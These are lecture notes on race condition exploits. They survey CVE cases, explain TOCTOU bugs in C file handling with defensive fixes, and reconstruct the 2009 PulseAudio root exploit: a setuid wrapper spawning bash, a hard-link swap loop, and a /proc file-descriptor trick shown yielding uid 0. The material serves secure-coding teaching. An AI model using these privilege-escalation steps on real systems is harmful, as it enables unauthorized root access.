Race Condition Exploits

Prabhaker Mateti

Abstract: Race condition exploits are due to sloppy software development, perhaps taking second rank only to buffer overflow exploits. This lecture explains the race conditions and their exploits, and presents a few techniques that help in avoiding the exploit.

Table of Contents

Educational Objectives

1. Present a few real life examples of race condition exploits.
2. Describe the exploit technique
3. Describe several techniques of exploit avoidance.

Race Condition Exploits

Race conditions arise from multiple processes/threads that operate on related entities in an OS that has preemptive scheduling. Any good OS book will describe race conditions. The effects are often an unexpected result in a computation, a deadlock, or a livelock.

Within user processes, almost all race conditions reduce to races in the file system. Within OS kernels, race conditions are present in various places, e.g., in virtual memory management code.

Exploits based on race conditions are subtle. They typically require repeated attempts within the short time period. These exploits can be eliminated by understanding the ideas and techniques of atomicity and mutual exclusion from concurrent programming courses. To keep up performance, the race condition eliminations have to be done after deep analyses. Real systems continue to suffer from race conditions because of sloppy design

and construction.

1. Real Life Examples

PulseAudio 2009

CVE-2009-1894: "Race condition in PulseAudio 0.9.9, 0.9.10, and 0.9.14 allows local users to gain privileges via vectors involving creation of a hard link, related to the application setting LD_BIND_NOW to 1, and then calling execv on the target of the /proc/self/exe symlink."

This exploit is further explained later.

Internet Explorer 2011

CVE-2011-1257: "Race condition in Microsoft Internet Explorer 6 through 8 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via vectors involving access to an object, aka 'Window Open Race Condition Vulnerability.' "

This vulnerability was discovered in Jan 2011 and a patch was released and publicly disclosed in August 2011. An attacker composes a web page with malicious code and when a user visits this page, the exploit happens.

Firefox 2007

CVE-2007-5960: "Mozilla Firefox before 2.0.0.10 and SeaMonkey before 1.1.7 sets the Referer header to the window or frame in which script is running, instead of the address of the content that initiated the script, which allows remote attackers to spoof HTTP Referer headers and bypass Referer-based CSRF protection schemes by setting `window.location` and using a modal alert dialog that causes the wrong Referer to be sent."

"... it was possible to generate a fake HTTP Referer header by exploiting a timing condition when setting the window.location property. This could be used to conduct a Cross-Site Request Forgery (CSRF) attack against websites that rely only on the Referer header as protection against such attacks."

"When navigation occurs due to setting window.location, the Referer header is supposed to reflect the address of the content which initiated the script. Instead, the referer was set to the address of the window (or frame) in which the script was running, and this vulnerability arises from that tiny difference. Using a modal alert() dialog Fleischer was able to suspend the attack script so that it did not load the target URI until after the attacker's initial content had been replaced by the intended referring page. When the Referer is set to the current URI of the script's window it is no longer the correct one."

Windows Shortcut-Link 2010

CVE-2010-2568: "Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote attackers to execute arbitrary code via a crafted (1) .LNK or (2) .PIF shortcut file, which is not properly handled during icon display in Windows Explorer, as demonstrated in the wild in July 2010, and originally reported for malware that leverages CVE-2010-2772 in Siemens WinCC SCADA systems."

Summary of the exploit code at http://www.exploit-db.com/: "The .lnk exploitation suffers from a race condition as it executes the downloaded dll 3 times simultaneously. This hinders the proper exploitation of the victim in case the payload dll tries to write any file on the disk or tries to access and change any other resource on the victim system. First thing to be noted that the .lnk exploit is actually an undocumented DLL-Injection technique. The .lnk file will retrieve a file of type either .dll, .cpl or .ocx or extension which are legitimate dynamic libraries with DllMain() defined."

2. Techniques

This section describes certain coding practices that introduce races, and their remedies. In all the code examples, error checks are not shown.

Time of Check/Time of Use (TOCTOU)

An exploit that has happened enough times since the 1980s is called the "Time of Check/Time of Use (TOCTOU)" attack: Suppose process A checked that a certain file exists and has certain attributes before locking the file and opening the file. By the time A opens it, the file could have been replaced with another. If the time gap between TOC and TOU is long (remember even a lowly PC can do 10 MIPS), developing an exploit is easy. Clever exploits work even when the gap is short. In modern OS on multicore CPUs, this situation has worsened because of threads. These are implemented as memory-sharing extremely lightweight versions of processes.

The following elaborates the above specific example, using file system operations, of the general pattern of TOCTOU vulnerability.

```
1  int access(const char *pathname, int mode);                    ?
2  FILE *fopen(const char *pathname, const char *mode);
3
4  ...
5  char pnm[] = "some/path/name";
6  ...
7
8  if (access(pnm, W_OK) == 0) {
9    f = fopen(pnm, "w+");
10   ...
11 }
```

```
12  else
13    fprintf(stderr,"You do not seem to have write access to %s.\n", p
```

Recall that access() checks whether the calling process can access the file named by pathname. If pathname is a symbolic link, it is dereferenced. The check is done using the calling process's real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file. This allows Set-User-ID programs to determine the invoking user's privileges.

However, a process/thread switch, caused by OS scheduling policies, may have happened after access() check but before fopen(). By the time the fopen() is performed by the iniating process in the next line, three things could have happened: (i) contents of the pnm[] may have changed, (ii) the permissions/content of the file referenced may have changed, and (iii) if the path specified was a (sym)link, the (sym)link may have changed. Note that (iii) is a more blatant version of (ii). This exploit is further explained later.

Links Soft or Hard

The following example is adapted from https://www.securecoding.cert.org/.

Recall that the POSIX lstat() function collects information about a symbolic link rather than its target, in contrast to stat(). The open() function does follow symbolic links and includes a check on deep links. We check the st_mode field to determine if the given file name is a symbolic link, and then open it if not so.

```
1  char *pathname = ...;                                                ?
2  char userbuf[] = ...;
3  ...
4  struct stat statOne;
5  ...
6  if ((lstat(pathname, &statOne) == 0) && !S_ISLNK(statOne.st_mode))
7     int fd = open(pathname, O_RDWR), nb;
8     ...
9     nb = write(fd, userbuf, sizeof(userbuf));
10    ...
11 }
```

This code contains a TOCTOU race condition because both lstat and open operate on a path name that can be manipulated asynchronously by other processes. We can check if an exploit happened by calling fstat() on the file descriptor returned by open(), and comparing the file information returned by the calls to lstat() and fstat() to ensure that the files are the same.

```
1  char *pathname = ...;                                                ?
2  char userbuf[] = ...;
```

```
...
struct stat statOne, statTwo;
...
if ((lstat(pathname, &statOne) == 0) && !S_ISLNK(statOne.st_mode))
   int fd = open(pathname, O_RDWR), nb;
   int rx = fstat(fd, &statTwo);
   if ( statOne.st_mode == statTwo.st_mode
   &&   statOne.st_ino  == statTwo.st_ino
   &&   statOne.st_dev  == statTwo.st_dev ) {
     /* no switcheroo occurred */
     ...
     nb = write(fd, userbuf, sizeof(userbuf));
     ...
  }
}
```

This code eliminates the exploit condition because fstat() is applied to file descriptors. Comparing i-nodes, using the st_ino fields, modes, and devices, using the st_dev fields, ensures that the file passed to lstat() is the same as the file passed to fstat().

We should always: (i) Check for the existence of links when dealing with files; (ii) Canonicalize path names before validation. Absolute or relative path names may contain file links such as symbolic (soft) links, hard links, short cuts, shadows, aliases, and junctions. These file links must be fully resolved before any file validation operations are performed.

Temporary Files

All OS have directories that permit the creation of files within by arbitrary processes. On Linux, we have `/tmp/` and `/var/tmp/`. These have been fertile grounds for race condition exploits. Often an application computes updates to its persistent database in a temporary file and then applies the updates. Using race condition exploits, a file swap can be made.

On a system that needs to be secure, the /tmp and /var/tmp should be separate partitions mounted with nosuid and noexec options. In general: Create temporary files securely. Remove temporary files before termination of the process. Do not create temporary files in shared directories.

Threads and Processes

When forking a process, file descriptors are copied to the child process which can result in concurrent operations on the file. This can cause data to be read or written in a non-deterministic order, creating race conditions and unpredictable behavior. We should close the file descriptor in the child after forking and then reopen it, ensuring that the file has not been modified in the meantime.

Do not use threads that can be canceled asynchronously.

Signals

Avoid using signals to implement normal functionality. Do not use signals to terminate threads. Do not send an uncaught signal to kill a thread because the signal kills the entire process, not just the individual thread.

iNotify

The iNotify framework on Linux registers your notification hooks. These are called when a certain event happens (e.g. creating a target file). There is multi-core concurrency, and the target process can run on a different CPU-core than the exploitation process which no longer relies on OS scheduler to switch the target at the right moment.

Shared Variables

Ensure that compound operations on shared variables are atomic. Expressions that include postfix or prefix increment (++), postfix or prefix decrement (--), or compound assignment operators always result in compound operations. Compound assignment expressions use operators such as *=, /=, %=, +=, -=, <<=, >>=, >>>=, ^= and |=.

Detection

The general solution to race conditions is to use a locking mechanism to prevent one process from changing a variable until another is finished with it. "Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable. White Box Common idioms are detectable in white box analysis, such as TOCTOU file operations (CWE-367), or double-checked locking (CWE-609). Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect."

Elimination of race conditions is near impossible because the TOCTOU pattern is necessary in many programs. However, we can make exploits based on races more difficult by adding more race conditions. To compromise the security of the program, attackers need to win all these race conditions.

3. PulseAudio 2009 Exploit Further Explained

On Linux, PulseAudio is a network-enabled sound server. In 2009, its binary was installed setuid root, and did not drop privileges before re-executing itself. A user who

has write access to any directory on the file system containing /usr/bin can exploit the race condition vulnerability to execute arbitrary code with root privileges. The immediate workaround is to ensure that the file system holding /usr/bin does not contain directories that are writable for unprivileged users. This example is further explained below [from http://blog.stalkr.net]. Note also that recent (2011+) Linux kernels no longer permit hard links to suid-root executables.

The Pulseaudio exploit is an instance of TOCTOU. It can be reduced to the code shown below; let us call it vulnerable.c.

```
#include <stdio.h>

char buf[4096], * args[] = { buf, "dummyArg", 0 };

int main(int argc, char *argv[], char **envp)
{
  if (argc < 2) {
    readlink("/proc/self/exe", buf, sizeof(buf));
    usleep(1000);
    execve(args[0], args, 0);
  }
  printf("argc %d\n", argc);
  return 0;
}
```

Exploit 1: Classic Race Exploitation

Here is a wrapper.c to give us a shell with euid (geteuid) as uid (setuid). We now open two terminals.

```
#include <stdio.h>
char *args[] = { "/bin/bash", 0 };
int main()
{
  int i = 0, j = geteuid();
  if (j == 0) {
    setuid(0);
    i = execv(args[0], args);
  }
  printf("euid %d i %d\n", j, i);
  return i;
}
```

In the first terminal, prepare to trigger the race condition by creating a hard (or soft) link to the vulnerable program, then place our program (proof-of-concept poc) under the same filename, and loop.

```
while :; do ln -f ./vulnerable poc; ln -f ./wrapper poc; done
```

```
?
```

In the second terminal, just run the hardlink. We lower the priority of the process to increase our chances for the race condition to be triggered.

```
1 while :; do nice -n 20 ./poc; done                                    ?
```

We wait and the shell should appear ..., but it can take a long time.

Exploit 3: Use /proc File Descriptors

Create the hardlink, then open a file descriptor in the current shell to it:

```
1 $ ln vulnerable poc                                                   ?
2 $ exec 3< ./poc
3 $ ls -l /proc/$$/fd/3
4 lr-x------ 1 stalkr stalkr 64 Nov  1 03:39 /proc/2074/fd/3 -> /home/s
```

It is important to realize that from this point the program has not been started, we just have a file descriptor to the program, and a file descriptor has all information about owner and setuid bit. Now we delete our hardlink to the setuid program: `$ rm -f poc`

Now if you check the file descriptor, it should have appended to its destination " (deleted)" and the link is broken:

```
1 $ ls -l /proc/$$/fd/3                                                 ?
2 lr-x------ 1 stalkr stalkr 64 Nov  1 03:39 /proc/2074/fd/3 -> /home/s
```

On some kernels it does not change the destination, you just see that the link is broken if you enable ls colors (green ok, red broken). Then just place the program you want at this destination. Here I will just use a setuid(geteuid)+execve(/bin/sh) wrapper. `$ mv wrapper 'poc (deleted)'` On kernels where the fd symlink has not changed its destination, you just have to rename it to poc.

The final step is to execute the program. We do that by using shell built-in exec on the file descriptor and it has the effect of calling execve() on this file descriptor. But remember, this file descriptor has root owner and setuid bit, so it executes the vulnerable program (still on disk because it was a hardlink) with these properties. The vulnerable program then executes itself via /proc/self/exe which now points to our program, and we eventually get the euid root:

```
1 $ exec /proc/$$/fd/3                                                  ?
2 sh-4.1# id
```

```
3 uid=0(root) gid=1000(stalkr) groups=0(root),1000(stalkr)
```

Race won in one shot!

Update: on newer (> 2010) kernels, this exploitation technique is no longer usable because file is renamed as (deleted) /path/to/file.

4. Lab Experiment

To exploit the PulseAudio example race reliably, we need to find a way to stop the execution of the process before its main().

5. Acknowledgements

These lecture materials are gleaned from many sources. All are presented after careful reading. In some cases, I may have neglected proper attribution. I assure the reader it is not because I claim authorship. Indeed, in the lectures there is hardly any thing new that I have contributed. Suggestions for improvement are always welcome.

6. References

1. Apple.com, Secure Coding Guide, 2012. Reference.
2. Mitre.org, CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'). Required Visit.
3. Drepper, Ulrich. Defensive Programming for Red Hat Enterprise Linux (and What To Do If Something Goes Wrong), May 3, 2006. No, not just for RedHat. Recommended Reading.
4. Mark G. Graff and Kenneth R. van Wyk, Secure Coding: Principles & Practices (book), O'Reilly.com, http://www.securecoding.org/, 2003. Reference.
5. Eugene Tsyrklevich and Bennet Yee, "Dynamic Detection and Prevention of Race Conditions in File Accesses", 12th USENIX Security Symposium, August 2003. Recommended Reading.
6. Race conditions in signal_handlers: (i) https://www.owasp.org/ index.php/ Race_ condition_ in_ signal_ handler, (ii) http://lcamtuf.coredump.cx/ signals.txt. Recommended Reading.
7. David A. Wheeler, Secure Programming for Linux and Unix HOWTO -- Creating Secure Software (free book) http://www.dwheeler.com/ secure-programs/ Section on Avoid Race Conditions: Required Reading.
8. Michal Zalewski, Browser Security Handbook, 2009. http://code.google.com/p/browsersec/ wiki/Main Reference.
